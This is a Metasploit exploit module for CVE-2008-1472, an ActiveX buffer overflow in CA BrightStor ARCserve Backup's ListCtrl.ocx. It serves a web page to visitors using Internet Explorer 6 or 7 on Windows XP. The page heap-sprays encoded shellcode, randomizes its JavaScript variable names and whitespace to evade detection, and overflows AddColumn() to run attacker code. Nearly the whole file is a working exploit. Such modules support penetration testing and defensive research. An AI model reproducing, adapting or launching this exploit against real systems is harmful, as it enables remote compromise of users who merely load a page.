##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'CA BrightStor ARCserve Backup AddColumn() ActiveX Buffer Overflow',
      'Description'    => %q{
          The CA BrightStor ARCserve Backup ActiveX control (ListCtrl.ocx) is vulnerable to a stack-based
        buffer overflow. By passing an overly long argument to the AddColumn() method, a remote attacker
        could overflow a buffer and execute arbitrary code on the system.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'dean <dean[at]zerodaysolutions.com>' ],
      'References'     =>
        [
          [ 'CVE', '2008-1472' ],
          [ 'OSVDB', '43214' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'         => 1024,
          'BadChars'      => "\x00",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows XP SP2-SP3 IE 6.0/7.0', { 'Ret' => 0x0A0A0A0A } ]
        ],
      'DisclosureDate' => 'Mar 16 2008',
      'DefaultTarget'  => 0))
  end

  def autofilter
    false
  end

  def check_dependencies
    use_zlib
  end

  def on_request_uri(cli, request)
    # Re-generate the payload.
    return if ((p = regenerate_payload(cli)) == nil)

    # Encode the shellcode.
    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

    # Create some nops.
    nops    = Rex::Text.to_unescape(make_nops(4))

    # Set the return.
    ret     = Rex::Text.to_unescape([target.ret].pack('V'))

    # Randomize the javascript variable names.
    vname  = rand_text_alpha(rand(30) + 1)
    var_i  = rand_text_alpha(rand(5) + 1)
    rand1  = rand_text_alpha(rand(100) + 1)
    rand2  = rand_text_alpha(rand(100) + 1)
    rand3  = rand_text_alpha(rand(100) + 1)
    rand4  = rand_text_alpha(rand(100) + 1)
    rand5  = rand_text_alpha(rand(100) + 1)
    rand6  = rand_text_alpha(rand(100) + 1)
    rand7  = rand_text_alpha(rand(100) + 1)

    content = %Q|
    <html>
    <object id="#{vname}" classid="clsid:BF6EFFF3-4558-4C4C-ADAF-A87891C5F3A3"></object>
      <script>

      var #{rand1} = unescape("#{shellcode}");
      var #{rand2} = 0x0A0A0A0A;
      var #{rand3} = 0x400000;
      var #{rand4} = (#{rand2} - #{rand3}) / #{rand3};
      var #{rand5} = unescape("#{ret}");
      var #{rand6} = 128;

      while((#{rand5}.length * 2) < #{rand3}) #{rand5} += #{rand5};
        #{rand5} = #{rand5}.substring(0, #{rand3} - #{rand1}.length);
        #{rand7} = new Array();
        for(#{var_i} = 0; #{var_i} < #{rand4}; #{var_i}++) #{rand7}[#{var_i}] = #{rand5} + #{rand1};
          while(#{rand5}.length < (#{rand6} * 2)) #{rand5} += #{rand5};
            #{rand5} = #{rand5}.substring(0, #{rand6});

            #{vname}.AddColumn(#{rand5}, 1);
      </script>
    </html>
      |

    content = Rex::Text.randomize_space(content)

    print_status("Sending #{self.name}")

    # Transmit the response to the client
    send_response_html(cli, content)

    # Handle the payload
    handler(cli)
  end
end
